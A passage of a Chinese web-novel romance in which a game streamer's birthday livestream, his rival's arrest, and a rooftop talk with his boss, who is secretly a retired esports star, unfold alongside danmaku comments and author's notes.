他一定在哪里听过这两个人的声音! 清大毕业、设计行业、知名公司…… 笃笃笃。 叮咚—— 敲门声和门铃声接连响起,把胡啸从天旋地转的回忆里拉了出来,他猛地大喘了口气,稀里糊涂起身就去开门。 他脚步有些跌跌撞撞,但幸好书房就在大门旁边,有时候门外外卖员声音喊大一点,直播间弹幕都能帮他听到。 他手攥住把手下压,莫名觉得上面金属的凉意顺着掌心,一下子窜到天灵盖。 门外是三个穿着黑夹克的男人,为首的那个单手打开一本整件,上面的警徽瞬间扎得他眼睛生疼。 “胡啸是吧。”便衣警察问,在他懵懵点头后道,“经侦大队的,对方律师刚刚提供了案件新证据,现在依法对你进行传唤,请配合。” 嗡的一声,胡啸只觉得一阵耳鸣,紧接着是一片潮水褪去的幻觉,他从未如此清醒。 这是胡啸活了二十多年,第一次体会到醍醐灌顶的感觉。 他根本不是什么Execut2粉丝,所以对这人的长相压根就印象不深,只能说是隐约有点印象。 但在庭季空降了个新老板的那天,他确实第一眼觉得这个老板长得有点眼熟,还猜测自己是不是在什么会议上见过对方。 可现在,胡啸陡然发现,那天在场馆项目宣讲会上,季总冷着脸看向自己的那一眼,和印象里的Execut2简直一模一样!! Respit2的声音,也跟郁思白有点相似。 不,不是相似。清大毕业、设计行业、知名公司…… 他就是郁思白! 胡啸脸色刷地就白了,他只觉得浑身血液先是冲向大脑,紧接着又猛地往下灌到双脚上。 “请配合我们的工作!” “警告一次!” “警告两次!” 胡啸拔腿就走,抬手重重拨开朝他伸手的警员,就要冲到电脑前去。 “狗男男!你们两个——” “警告三次!采取强制措施!” 下一秒,他双手被反剪到背后,整个人陡然失去平衡,扑倒地上。 出示警官证的那个警察带着点好奇走上前去,看见屏幕,“嚯”了一声。 “还在直播?”他在工作里也带了点幽默道,“那这还挺不好意思的……别误会啊观众,公安办案,散了吧,不要围观。” 说罢,抬手帮他把直播掐了。 胡啸被重重磕了一下,刚缓过来想喊出两个人的名字,至少在自己走之前报复到Respit2,把他开盒了也好。 可抬头就看见屏幕上的直播结束提示。 胡啸又挣扎起来,试图求情:“让我跟粉丝道个别吧,求求你了警官,求求你……” 他取保的时候就知道,如果再被强/制传唤一次,那大概是真的完了。 那关直播的警察好笑地看他一眼,挥手道:“带走吧,今天晚上又得加班了。” 胡啸被踉跄着拉起来,最后回头看了一眼屏幕。 直播间虽然关了,但弹幕窗仍然在滚动着,他看到一行充满嘲笑意味的字。 【绷不住了,见过游戏里红屏被关进去,第一次见现实里也同步被关的……】 胡啸被夹在两个高壮警员的中间,几乎是拎了出去,他的表情从激动缓缓变成木然。 家门被咔哒合上的瞬间,他忍不住想,Respit2的直播间,想必会有人转播他的情况,现在一定已经在狂欢了吧- 胡啸的亡语也念的没错。 Respit2直播间里确实在狂欢,却不是他想的那种大仇得报的狂欢。 弹幕一串串刷得起劲,来来回回重复着一句话。 【tigerrr说你们是狗男男】 【tigerrr说你们是狗男男】 …… 【res,你之前教小孩哥,当别人嫉妒你的时候,你最好真的有这个实力】 【一样的道理】 【当别人嫉妒你和Execut2是狗男男的时候,你们最好是】 【?】 郁思白被呛了一下。 “什么东西……”他磕绊道。 刚刚对面胆大包天的那句“跟你就不用装了”把他结结实实吓到了,现在正是有点怂的时候。 这帮弹幕……还在起哄。 自己故意钓鱼执法的口嗨是一回事儿,但,但当面的就不对了吧! 郁思白用手背贴了一下自己的脸,冷静下来对Execut2道:“你别放心上,现在这帮看直播的就是这样,他们还说我跟梁路是什么晋江师徒……胡说八道的。” 那道用着Execut2声线、却又带着点儿季闻则意思的声音响起。 “嗯,你们也算不上师徒。” 这话郁思白深以为然,不由得自在了一点,点头道:“哎确实呢。” 【???】 【re宝你不觉得你俩不在一个频道吗】 【我看你俩和我们大家也已经不在一个世界了】 【不知天地为何物】 “所以还排位么?”Execut2问,“应该没有人狙了。” 【……谁来救救我的笑点】 【狙的人已经被抓走了啊啊啊】 【确实是卡味儿,这种微微冒犯的冷笑话大王不是谁都学得来的】 郁思白却迟疑起来。 放在以前,他根本不敢想象自己面对“Execut2的排位邀请”,竟然还会有犹豫的一天。 可平心而论,他真的不希望Execut2现在跟他打游戏。 白月光只有死了才最无暇,这话套到哪里都合适。 Execut2现在重拾游戏无非是两个后续——如果实力大不如前,别人会嘲笑他,如果实力很不错,别人又会骂他为什么退役。 怎么做都是错。 人是他钓上来的,总不能把他推上风口浪尖吧。 弹幕的【要要要】已经刷的飞起了,耳机里先前一直装不在的队友也“嗯嗯嗯”个不停,像三只兴奋的磕头虫。 “不了吧。”Respit2开口,“这个环节已经结束了,我们还要赶场子呢。” 【???你疯了】 【你知道你拒绝的是谁的爱吗】 【你拒绝的是一个天神的组排邀请!!】 【byd我要闹了】 耳机里更是一阵鬼哭狼嚎。 然而主播Respit2郎心似铁,鼠标已经移到了解散队伍上。 直到队里那个女生开口,起手还是那声叹气:“我懂了。” 她说:“主播怎么可能让他和卡神的第一次双排游戏,旁边有我们这帮电灯泡呢。” “那我先退下了。”她说,“家人们我这样能做主桌吗?” 她这么一说,那个东北一突也“卧槽”一声,留下一句“好有道理”就立刻遁走。 烟位在语音里“嘿嘿”了一声,也销声匿迹。 短短五秒,组队房间就变成了二人世界。 【姐,会吃】 【你们仨都做主桌】 【熄灯哥:那我呢?没有我让位卡神都进不来】 【你当司仪】 一片已经囍得没边儿的弹幕里,主播仍旧拿出百分之两百的冷静,开口又是。 “你别放在心上,他们就这样的。” Execut2:“这次要举例的是谁?” 郁思白愣了一下:“啊,还需要例子吗?” “没有最好。”Execut2轻笑了声,“推你的流程吧。” “呃,好……”郁思白有点想问你不跟着出去吗,但话在嘴边转了一圈,莫名没说出去。 总之,总之……目前先保住了Execut2大人的形象。 昨天晚上的同事组排活动,他承认季某的操作有几分灵性,瞄准也颇有故人之姿,但…… 真的看得出来,很生疏了。最开始实在太像老头打游戏,别说和当年的Execut2比,就是kulu这小孩来了,也要把他一脚踢飞。 ……这可不行。 他得把Execut2揣到兜里。郁思白扣扣键盘,猫猫祟祟地想。 那就让他在这儿待一会儿吧。 【……res你结巴个泡泡茶壶啊】 【摄像头往上拍拍,我看看脸红没】 【变态啊】 【确实好奇kulu那种帅哥都夸赞的美貌到底是什么样的】 【卡神!卡神你见过吗!!】 【卡神看弹幕吗】 “看。”Execut2说,“见过,很——” 郁思白啪地一下,迅速出手把Execut2的小喇叭叉掉了,强行静音。 两秒后,左下角弹出一条粉紫色的私聊消息。 Execut2:错了 【众所周知,被闭麦了也能在队伍频道打字】 【有什么是一定要偷偷私聊说的吗】 【不好意思我们也能看到啊/捂眼睛.jpg】 【……谁在道歉?】 【我截图发推特了,艾特了一堆海外老选手,兄弟们我做的对吗】 【左脑:是的Execut2就是这样随心所欲的男子;右脑:但是Execut2死也不可能道歉的吧!】 【真的,在我这,现在完全是res的人品强撑着这个Execut2的真实度】 【不是,真的好怪】 【我是gay,我懂你】 …… 郁思白也这样觉得。 好奇怪的感觉——当然,肯定和gay无关。 想了一下,他还是把此人的静音解除了,然后清了清嗓子,开始往下推流程。 “最后一个环节,和往年一样,挑选了一些大家给我做的生日祝福视频。” “今年有staff帮我筛选了,这次对我来说确实是惊喜视频了,保准第一次看。好啦,开始吧。” ICG运营已经把视频链接全都给他整理好了,他点开第一个。 视频开头粉色打底,甜甜的天蓝色胖嘟嘟字体在正中弹出。 ——[烟花]在视频的最开始,还是惯例,祝我们re宝和他的赛博老公百年好合![烟花] 哐啷一声! 直播镜头里,郁思白的鼠标被猛地扯了下来。主播跟着鼠标一起掉到桌子下面,一只在灯光下白的晃眼的手探上来,在键盘上一通狂拍,终于拍到了空格。 视频暂停。 弹幕爆了。 【?】 【哈哈哈哈哈我靠】 【我不行了我笑得好崩溃】 【追着主播杀】 【那什么,我有点担心咱这么老是嗑,会不会影响res和卡神的关系啊……】 【他先动手的】 “我动什么手了!”郁思白拎着鼠标爬回来,还要小心翼翼避开摄像头拍到的区域,只觉得整个头顶都在冒热气。 明明是你们一直在动手啊! 他问:“运营哥,这就是你审核过的视频吗。” 运营在直播间发了一个可怜巴巴的表情,然后义正词严。 【往年不是也有这种吗QAQ】 郁思白:…… 郁思白也不知道怎么跟他解释。 以前是以前,现在是现在! 以前那是仗着正主看不见,怎么放浪形骸都可以,现在—— “往年也有?”耳机里,刚被解开禁言咒的人又阴魂不散地开口。 郁思白右键,踢出队伍。 然后打开观众列表,搜索Execut2,右键,踢出直播间。 【???】 【像流星一样飞走了捏】 “好了,他该下班了。”郁思白木着脸说,“召唤英灵也是有时间限制的。”—— 作者有话说:真想不到卡神在自己头号粉丝直播间里获得的第一样东西是飞机票呢 [猫爪] 今天中午十二点有二更! 第48章 【好像并非时间限制】 【刚刚你是把你的卡·赛博老公·七年偶像·Execut2踢出你的直播间了吗】 【我还是有点懵, 这个Execut2是真的吗】 【咋说呢,语气有一点点不像】 【卡神十年老粉慕名而来,我赌真的, 铁真】 【刚来,听说这有会招魂的巫师】 弹幕渐渐歪了重点, 可毕竟没骂人, 房管也不好动手封,只关了几个明显在带【res剧本】节奏的人。 【404 送出一个海底世界】 弹幕霎时间清空。 【404(醒目留言:500):大家专注主播直播间吧~】 郁思白看着这个醒目留言最后的“~”,虎躯一震。 弹幕的走向更是让他震撼。 【404可爱捏~】 【哈哈404老板刚刚怎么消失了!】 【毒唯x】 【404:对,我是毒唯】 【草】 “谢谢……404老板的海底世界。”郁思白谢过礼物,忍住了把毒唯也踢出直播间的冲动,但最后还是没忍住说。 “但是理智消费, 两个真的够了,再送就罢你的官。我连卡神都敢踢, 今天已经没有什么是做不出来的了。” “踢了Execut2”这个壮举好像一下子把他的胆子喂肥了, 郁思白气沉丹田,重重又拍空格。 放马过来。 祝福视频就这么播了下去。 暂停一取消, 粉蓝色的字就被一条丑萌的鱼撞翻,变成正常字体。 ——哈哈哈知道你想听这个,但我们偏不说。 郁思白懵了。 竟然,是虚晃一枪?? 【哈哈哈哈哈平A骗大招了】 【主播现在是不是又在后悔把卡神踢出去了】 “澄清一下。”郁思白拿出十二分的严肃说, “这话主播没想听。” 【哎对的对的都是我们自发的】 【今天你过生日, 宠宠你啦~】 【是的, 我天天拿喇叭凑你耳边上非要让你听的】 【《澄清一下》】 【这就学上了】 视频的bgm渐渐变得温馨可爱起来,一边用简笔画画出平时直播的小趣事,一边有字幕伴着打字机的音效弹出。 …… Respit2小朋友,生日快乐! 这是我们陪你的第八年。 我们一路看你从“Execut2粉丝”, 走到知名二路解说,走到年度主播。大家对你的讨论里,Execut2相关的话题越来越少,你在直播的时候为这个苦恼过,今年好像尤其多。 你好像把“让大家记住Execut2”的担子全都挑到自己肩膀上了,你以前也说这是你直播的使命之一。 但是呀res…… 老粉丝注意到你或许是因为Execut2,但喜欢你,只是因为你是你。 新粉丝会知道Execut2,也是因为你的安利才会喜欢上他,爱屋及乌。 因为喜欢你,所以希望你每年的生日愿望能早日实现。 也是因为喜欢你,所以希望你不要给自己背着太大的包袱。 第八年的Respit2,生日快乐! 要像游鱼入海,去闯荡,去自由。 …… 可爱的简笔画蛋糕被一条小鱼一口口吃掉,小鱼打了个饱嗝,唰地长大了一圈。 bgm渐渐落下,视频进度条也走到结尾。 没想到滑稽的开头后面,藏着的竟然是这么突然走心的话。 郁思白吸了下鼻子,看了眼视频作者的id。 “谢谢……驯服csp进行中。我记得你,你经常画特别可爱的小漫画,每年也都给我做生贺视频。”他声音不免有点鼻子堵着的瓮声瓮气,但还是笑意满满。 “谢谢你呀,也谢谢你的祝福!” 他托着下巴又欣赏了一会儿最后那个丑萌小鱼的简笔画,然后看到一条蓝色醒目留言。 【驯服csp进行中:啊啊啊我是视频画手……呜呜res你的愿望真的实现了,你要开心啊!!(虽然好像和我想的不太一样TUT)】 “谢谢你,也祝你开心!至于愿望……”郁思白想了一下,摸摸鼻子说,“愿望实现了一半吧。” 还有一半,就要看愿望本人的想法了。 他扣了扣键盘,没多解释这句,按着顺序一个个看完了其他的视频。 有难得的排位帅气混剪、搞笑弱智手书,也有像第一个一样走心的信件……很多很多人的爱和祝福把他的心塞得很满。 最后一个视频也结束后,他一口气抽掉了剩下的所有奖品,然后耐心地跟大家告别,又拖了将近半个小时才下播。 环节二的三局排位游戏都进行得快,饶是如此,这时候也已经十一点半多了。 郁思白摘了耳机,自己也沉默下来之后,整个世界都随之安静下来了。他甚至能听到自己心脏不知何时开始狂跳的声音。 他站起来活动了一下酸痛的肩颈,把水杯里的最后一口水也喝了,喝完仍觉得嗓子干涩,却又懒得再出门接水。 房间里开着窗,郁思白走过去想关上,视线却不由自主地从窗边看了出去。从这个角度,正好能看见娱乐楼一层还亮着灯,纤薄的纱帘影影绰绰地映出里面人的轮廓。 一分钟后,那盏灯也灭了。 郁思白条件反射地唰地拉住了窗帘,一个仰倒就躺到床上,瞪着眼睛看了一会儿天花板。半晌,伸了个懒腰,把自己拉成长长的一条,然后又团起来缩进被子里。 倒头就睡——但好半天都睡不着,脑海里总还循环播放着第一个视频里的祝福。 辗转反侧好一会儿,他终于还是呼出一口气,翻身起床,披了件薄薄的衬衫外套上楼。 住宿的这栋楼一共四层,楼顶天台是个颇雅致的小花园,白天趴在栏杆上,能看到不远处的海,和矗立在海平线尽头的一座灯塔。 郁思白之前就好奇过那座灯塔是不是已经被废弃,反正睡不着,正好晚上去看一眼它会不会亮。 他对小时候在海边的记忆已经非常模糊了,只记得从家里的窗户往外能看到一座灯塔,每天晚上都有一盏射灯在上面一圈圈地旋转。 可后来他再回到那间屋子,却发现每一扇窗户外面都没有哪怕半个灯塔的影子。奶奶笑他恐怕是做了个梦…… 但无论是不是梦,他对灯塔这个建筑总有种特别的关注。 郁思白顺着楼梯一层层往上爬,放在以前,缺乏锻炼的自己搞不好只爬两层就有点累了,但今时不同往日,他现在可是每天暴走两万步的人。 郁思白以一种极其游刃有余的姿态爬上了楼顶,心里莫名涌起一股成就感来,只觉得哪怕一会儿看见的只是一尊黑洞洞的废弃灯塔,都不会再失望了。 郁思白忽然就想,追求那么多做什么呢?他是不是Execut2,有那么重要吗? 说到底,他和那位“驯服csp进行中”想的一样,只是希望关注的人能好好的而已吧。 郁思白觉得运动之后,自己的心胸像大海一样宽广,紧了紧身上的外套,他推开顶楼花园的门。 然后愣住。 一个熟悉的背影正站在花园尽头的栏杆旁,更远处的灯塔亮着,此刻却也成了他的背景。 郁思白一抿唇,思绪一个刹车,又想——可是话又说回来了。 话又说回来了! 不是这个人!自己!送上门的吗! 郁思白脑海里又刷刷地闪过晚上弹幕的话,说【他先动手的】,拳头一攥,在心里附和。 对呀对呀,他先动手的! 遂气势汹汹地走了过去,在季闻则身后两米站定,重重清了下嗓子,表示堂堂大主播Respit2莅临视察。 原本背对着他的人闻声低眉回头,向来被梳上去的额发垂落了好几撮,轮廓凌厉的眉眼被花园昏黄的路灯映得柔和。 他轻轻笑着,一双眼睛在暗沉沉的夜色里,只看向他。 郁思白怔住,没出息地被这样的目光看得晃神,没由来地想。 无论如何,至少衣服挂在他身上,已经不像以前一样会被风吹得晃荡了。 紧接着他心道不妙。 坏了。我的出息好像只有隔着网线有效。 “睡不着吗?”季闻则问。 郁思白移开视线,偷偷搓搓指尖,很硬气地胡诌:“睡过一觉,醒了。” 言下之意是睡不着的只有你。 他走上前去,自觉步伐稳健姿态潇洒,开口就问:“你能把这玩意儿染成蓝的吗?”他指了指头发。 季闻则侧头看他,轻哂,温声说。 “我可以把你的车顶头上。” 郁思白:? “……不能就不能呗。”他闷道。 季闻则没说话,看着青年把胳膊挂到栏杆上,头枕着胳膊,先看了一会儿远处的灯塔,然后忽然扭头看他。 郁思白的目光总是澄澈又专注,像一汪清澈见底的潭水,让人很容易就被这样的一双眼睛牵扯住,回过神来,早就已经栽倒进去了。 冷不丁的,季闻则忽然问:“你能接受?” 郁思白顿了顿,很快眨眼,随意道:“有什么不能?” 他想了一下,很体面地说:“你现在过得多好啊,豪车腕表美酒香车……说到底我作为粉丝,也只是想你过上好日子而已……呃。” 季闻则收回视线,郁思白就忽然一卡壳,有点编不下去了,于是只能踌躇地抬手挠了挠头。 “我们都有光明的未来。”他说。 季闻则垂眸轻笑,昏暗的灯色照不清他的神情,那声轻笑也被夜风吹散。 “那我们聊聊光明的未来?”他说,“关于明晚的酒会……” 郁思白看向前方,莫名有种松了口气的感觉:“你说。” 顿了一下,他又突然补充:“果然我之前的感觉没错。” “什么?”季闻则问。 “之前在微信和你聊天的时候,就觉得你对工作话题好像更能接受一点。” 郁思白把下巴歪歪地支在胳膊上,脑袋左右轻晃,又说,“好吧,我好像也是。” 工作竟然变成了一种奇怪的安全词…… 停下,郁思白你今天的思维方式怪怪的。 “明天吃饭的都有谁?”定了定心神,郁思白问。 “是酒会,不算饭局。”季闻则说着,在手机上翻找两下,递给他宾客名单,“当然,有无酒精饮料。” 郁思白头一次被钱远新带去饭局就出了大岔子,之后哪有机会去这种酒会,闻言倒是有点好奇地接过来。 但目光在宾客名单上扫过几眼,他脸上的随意就渐渐稳不住了。 上面的名单一溜x董x总的……季闻则提过这场应酬规格比较高,但是没说过规格这么高啊?! 工作本能让郁思白立刻就没空想其他事了,站直了问:“这么大的场子,杨姐不来没关系吗?” 在他看来,杨孟越八面玲珑舌灿莲花,先前和段总吃饭的那次,杨孟越一句话够他学一年,怎么看都是能完美应付这种场合、还能给季闻则如虎添翼的超级总助。 然而季闻则说:“和她没关系。” 郁思白一愣。 那难不成是和我有关系? 他疑惑等待着季闻则的下文。 季闻则也学着他的样子倚靠在栏杆上,想了想问:“你对以后的工作计划有什么想法吗?” “想法?我觉得现在就挺好的,希望保持。”郁思白说完,顿了一下看他,“怎么,你要准备回去了?” 季闻则轻笑摇头:“那还早……你希望我回去吗?” 他只是随口问出这个问题,本以为郁思白不会答话,可话音刚落,就听见他的声音毫不犹豫,坦坦荡荡。 “不希望啊。”郁思白说,“你挺好的,我又不傻。” 他说:“但这不取决于我吧。” 季闻则下意识回头去看他,可青年的目光已经从自己身上移开了,并没有从他这里汲取什么的意思。 于是他只能道:“嗯,也不取决于我。” 郁思白了然地耸了耸肩。 “那,你有想过自己开工作室吗?”季闻则又问。 郁思白仍旧斩钉截铁:“没有。” 季闻则略微抬眉,换了个站姿问:“那你为什么要一组以独立团队的身份参选?” “哦……你想问这个。”郁思白恍然,笑了下说,“不是想带团队跑路的意思,你别紧张。” 顿了顿他补充:“至少现在不是了。” ……那就是当时是。 季闻则问:“为什么不想?” “因为不打算自己去谈项目,我做不来这个……不是,我跟你说过的吧。”郁思白嘴角一撇,瞪视回来,有点想揪他领子了。 如果面前是单纯的季闻则,他一定揪得毫不犹豫。 可惜似乎不是。 ……也不对,有什么可惜的。 脑海里乱七八糟,没等郁思白弄懂自己在想什么,就看见季闻则学着他的样子,把脸埋进了臂弯,半晌轻轻叹了口气说。 “听你说过,但不知道你现在的原因……有没有改变。” 郁思白愣了一下。 这人说完之后还侧过脸看着自己,目光期期艾艾……不是,怎么会用这个词! 但总之就是那种,示意他说点什么的目光。 郁思白吸了口气,在心里不断重复着“此男心机深沉肯定有诈”,这才再次稳住。 “没变。”他直白道,“要是我会跟人喝酒谈项目,我早都揣着一组跑了。谁会不想单干?想接什么做什么都自己说了算……但是我没邓工那样的口才,也没有李勐那么多钱,算了,现在的庭季也挺好。” 季闻则问:“如果你找到一个合适的负责商务的人,就会选择自己开工作室?” 郁思白瞥他:“我要求有点高,恐怕难找。” “要我这样的?”季闻则一哂。 郁思白被他的不要脸惊到,但事实如此,他也不好否认,只能撇嘴:“你还是好好回去当你的季董事长吧。” “那我走之后,你准备怎么办?”季闻则又问。 “凉拌。”郁思白眼睛一转,“该不会明天酒会上就有下一个公司接班人吧。” 季闻则被他警觉的样子逗笑:“那倒是没有,这种事现在定下来太早了,只是有几个人选而已。如果你在意这个,我有消息了就第一时间告诉你。” “喔……好。”郁思白说,“那你可要选个好的。只要下一任老板不太过分的话,我想我应该也不会离职。” “那就是说我很过分了。” 郁思白瞥他一眼。 总觉得这人今晚有点幽怨,是错觉吗。 “也还好,你只是比较倒霉,正好撞在我枪口上了。事实上你比钱远新好十倍。” 季闻则忽然侧头看他。 郁思白被看得一麻,顿道:“好吧,二十倍。” 那双眼睛还在看他,目光流转,却一言不发。 “……一百倍。”郁思白说,仍然觉得自己很有原则,强调了一句,“再多就脱离实际了。” 季闻则勾了勾唇。 郁思白忽然察觉到兜里手机震了震:“稍等,回个消息。” 意料之中的,发消息的人是梁路,小孩上来就是一个乖巧的表情。 【kulu:复盘出来了小白哥/乖巧】 郁思白看了眼时间——已经快十二点了。实在也是很辛苦。 于是想了想,给他回了一个【太棒了】的表情包,全当在哄小孩。 小孩果然很开心,满血复活。可意外没问tigerrr后续的事情,而是说起别的。 【kulu:小白哥你明天在哪儿啊?粤市还是回来了?】 【粤市。】 【怎么了吗】 【kulu:太好啦!】 【kulu:我明天正好在粤市有线下活动!】 【kulu:我给你买了礼物,明晚给你送过去吧?】 郁思白皱了下眉。 薛简一般不会让下面的人在比赛密集期给他们安排线下活动,ICG虽然没有很富,但薛简本人不穷,还真没那么缺钱。 所以活动八成是kulu主动要接的。 但……算了,他也不是kulu的什么人,管多了不合适。 于是他说。 【明晚有应酬,可能不太方便。】 【kulu:啊,休假还应酬吗……小白哥你老板可真不是人】 郁思白下意识看了眼季闻则的侧脸。 就,也还挺好的吧,人模人样的呢…… 【kulu:那应酬几点结束啊?】 【kulu:主要是我还肩负着帮队长他们给礼物的重任呢!】 小孩缠人得厉害,人家手上又确实是有礼物要给,郁思白觉得自己再不答应就不合适了,于是回了句【我问问】。 【kulu:啊,这么晚了不会打扰你老板吗】 【不会,正好在我旁边。】 消息发出去之后,郁思白抬头,胳膊肘碰了碰季闻则的:“明天酒会大概几点结束?” “谁问?”季闻则说。 郁思白思路直来直去,也没隐瞒:“kulu,说要给我送生日礼物来。” 手机屏幕的光像盏夜灯一样,把他脸上的神情映得清楚——就是很普通的表情,提到和人见面,也没有过多的兴奋和期待。 季闻则眸光动了动。 “十点多。”季闻则说完,又问,“我看你身份证上,好像不是今天的生日?” 郁思白点头:“明天的。只是一般直播会提前一天开,因为以前还年轻的时候能随便熬夜,跨个0点也是常事……” 他一边念念叨叨地说着,一边低头要去回消息。 季闻则忽然抬腕看了眼手表。 【11:59:50】 他忽然抬手,遮住郁思白的手机屏幕,然后轻轻把手机倒转过去。 两人中间最后一点亮光也暗了下去,郁思白愣了一下,茫然抬头。 乍明乍暗的变化让他的眼睛一时间没缓过来,即使抬头,也完全看不清季闻则的脸。 只听得见声音。 “郁思白。” “……啊,怎么?” 季闻则又沉默了一下,直到远处传来庄园主楼里,那座钟表隐约的整点报时声。 钟声像时光的载体,醇厚地压过耳边的风声蝉鸣,却托起季闻则温和的声音。 “我不准备把你留在沪市。”他说,“如果你愿意的话——” “我希望在明年调任的时候,你能跟我走。” 顿了一下,他又重复。 “我是说……如果你愿意的话。”—— 作者有话说:[猫爪] 加更剩余18。 第49章 郁思白看了他两秒, 忽然面色肃然地冷哼一声。 “果然有诈。” 季闻则一懵:“我?” 郁思白却已经一副了然的神色,一推眼镜,指尖在栏杆上笃笃敲了两下。 “我算是知道你为什么突然各种露出马脚, 让我知道你的身份了。” “……你说说?”季闻则试探问。但他的第六感告诉他,这家伙猜到的, 绝对不可能是真正的原因。 但他还是不免带了点期待。 果不其然郁思白说:“呵, 你想用这个勾引我去京市对吧。” 季闻则:…… 季闻则:“哈。” 郁思白见他侧过头去,就知道自己八成是猜错了。 推理大计中道崩殂,他眨了眨眼,再开口已经没那么有底气了。 “……不是?” 季闻则看向远处半垂下眼睛,脸上笑容落了下去,叹出一口气, 淡淡说。 “我和他又不像,我拿什么……” 勾引。 可是你现在这个样子就颇有姿色啊。 郁思白欲言又止, 总觉得自己这话说出去, 好像有什么属性就要发生变化了。 他忍了下来,不能反驳, 于是只能选择勉强认可,点了下头说。 “好吧,也是。” 季闻则动作似乎顿了一下,然后轻笑出声, 重新抬眸看他, 刚刚那副样子怎么看都像是装的。 “那刚刚的事, 你考虑考虑吗?”他说,“跟我一起回京市的事。” “啊……” 郁思白迟疑起来,思路一下子被拽回正轨,连攥着的手机震动时都没感觉到。 “可是我去干什么?”他抿了抿唇, 微微拧着眉,正色问,“总部没有室内设计业务吧,还是说你想在京市开室内设计分公司?” “不是总部。是独立出去,变成个人工作室。庭季注资,合作关系。至于你担心的商务专员,我……” 季闻则说到一半,忽然顿住,匆忙侧头用袖子遮了一下。 然后猛地打了个喷嚏。 郁思白被他吓了一跳。 “感冒了?” “可能是有人骂我。”季闻则顿了一下,补充,“……但也可能是吹了冷风。” 夏天晚上的风……冷吗? 郁思白自己一点都没觉得,但考虑到可能是自己穿了外套的缘故,于是从栏杆上直起身,催促道:“那快回去吧。” 季闻则没动:“说完再回……” 郁思白拎住他袖子:“回去再说!” 季闻则抿着唇,有点虚弱地笑了一下,看得郁思白眉头皱紧,扯着人就往屋里走。 楼梯间回荡着两个人凌乱的脚步声。 “过十二点了。”季闻则忽然说,“生日快乐,还没送你礼物。” 郁思白:“算你送过啦。钱就不错,谢谢咯。” “你怎么不跟梁路这么说?”季闻则问。 “他?”郁思白疑惑,“他已经买了……哦对,忘记回他了。” 他这才想起被遗忘在微信聊天框里的小孩,匆匆摸出手机。刚一划开,就看到一句【生日快乐】,像是卡着0点整发的。 他回了一个谢谢的表情包。 现在他一只手押解着季闻则,单手打字不太方便,于是点了语音,把手机凑到嘴边说。 “你住哪里?我刚刚问了,应酬完大概是十点多,我过去找你……” 话音未落,季闻则忽然说。 “他活动在哪?我让人开车把他接到咱们吃饭的楼下,再送去机场,免得耽误。” “半夜,他去什么机场?”郁思白奇怪。 “那高铁?” “他应该是第二天才回吧……” “那送回去。” 郁思白多看了他两眼,心想这人对ICG的后辈真是照顾,笑道:“你真热情……不过也可以。” 他这么说着,倒也没松开按着语音键的手,直接改口:“你住哪里,到时候叫人去接你。” 唰的一声,长长的语音条发了过去。 即使不论前辈关系,Execut2怎么说也算ICG众人的半个老板,适当展示一下人文关怀倒是不错。 半分钟后,季闻则又打了个喷嚏。 郁思白严肃:“你真的感冒了。” “工作……” “工作的事以后再说。”郁思白道,“你又不是明天就走了。来日方长。” 季闻则刷开自己房间的门,推开半扇,回头问:“事情我说一半,你不会一直惦记吗?” “我倒头就睡。”郁思白摇头摆手,把他推进去,道:“进去吧你。” 门咔哒一声关上,郁思白发着语音走远,大意是“太晚了,明天再说”。 季闻则勾了勾唇- 回屋之后,郁思白本以为自己会继续翻来覆去半宿睡不着的,但没想到言出法随,真的倒头就睡了。 可见季闻则画给他的“独立工作室”大饼,还没有香到那个程度。 第二天一早……一中午醒来,庄园已然变得更加空荡荡了。外面不知何时飘起雨来,郁思白撑了把伞去主楼吃饭,只碰见杨孟越和高向日。 随口一问,才知道季闻则又是一大早就出去工作了。 “说真的,之前在钱老抽手底下干久了,我一直有种老板都很轻松的感觉。”高向日感慨。 “季总来了之后,好像没见他休假……简直和你来庭季第一年一模一样了!” 郁思白顿了顿,喝了口绿豆沙问:“现在不也一样?” 也忙得脚不沾地呢。 高向日很懂地摇头:“哎,那可不一样大了。” “组长你知道你有工作机器的外号吧,就是你刚来那会儿被传开的,认可度那简直是空前的高啊。唔……放到现在就不一定了。” 郁思白叼着吸管,歪头表示疑惑。 高向日道:“你那会儿真的,完全就是没有感情的工作机器,现在忙归忙,但有眼睛都看得出来你很开心……” 一边听他说着,郁思白一边侧头看向旁边的镜面立柱,定睛一看,还真的愣了下。 看他这个反应,高向日乐道:“哈哈,是吧。” 郁思白眨了眨眼,镜面里的青年也跟着眨眼。 倒也…… 青年仍然神情很淡,但和原先那种唇角下撇、眉眼懒倦的样子相比,确实不同…… “组长,你眼睛里终于被点上高光了。”高向日评价。 郁思白一时失语,看向非常会说话的杨孟越。 杨孟越温柔一笑,点头道:“这次确实很中肯。” 吃完后,夫妻俩准备冒雨继续去景点,郁思白当然是回去宅着,三人起身告别。 “我听你嗓子不太舒服。”临别时,杨孟越叮嘱了一句,“这边应该有喉宝之类的,需要的话,记得打电话跟管家要。” “谢谢杨姐……可能是昨天说话多了。”郁思白摸了摸嗓子,确实有点痛,但不严重。 太久没直播了,昨天突然一下连着播了七个多小时,再怎么喝水,也免不了用嗓过度的,大概有点犯咽炎。 回屋打了电话,喉宝果真很快送了上来,郁思白含着糖跟进了一下场馆项目那边的情况。 这个耗时耗力的大项目终于已经临近收尾了,等周一自己过去全部检查一遍,官方的演职人员就要陆续接手,开始彩排了。 离嘉年华,只剩一周。 郁思白又看了一遍自己的图纸,关掉后,在文件最下面看到了那个“备用方案”。 这是官方要求做的,因为有个别嘉宾虽然已经应邀,但可能有临时来不了的情况,而有些没有回应的嘉宾,也可能临时答应邀请。 所以需要一个不同人数的备用方案。 做方案的时候郁思白夹带了一点小私货,一些细节的地方塞了点不明显的“Execut2元素”进去。 这样的话,能保证如果来的不是Execut2,那别人也不会觉得有什么不对;但如果来的是Execut2…… 那绝对!会是超级无敌的惊喜! 不过现在也用不上就是了。 郁思白见时间差不多,于是关掉文件夹,活动了一下脖子,打开直播软件开始调试。 钓出Execut2之后,郁思白对“邀请他参加嘉年华”的事儿已经完全放弃了。 以季闻则现在的身份和职业,似乎确实不大适合再作为前职业选手露脸。 毕竟Execut2的旧事都太过张扬叛逆,出了电竞圈,在职场会被欣赏才怪…… 算啦,算啦!- 管家送来的喉宝效果不错,刚开播的时候,郁思白一点儿都感觉不到嗓子不舒服了,只可惜效果持续时间太短,才激情解说了半个小时,他就又开始觉得声音沙哑。 即便如此,他还是撑着正常播完了第一局的比赛。 几乎是这边刚结束,微信上,季闻则的消息就这么巧地发过来了。 【车在楼下等着,稍微收拾一下可以走了】 时间点掐得极好,让郁思白不由得怀疑这人是不是正在偷看直播。 但观众列表里,没有Execut2也没有404。 纯默契? 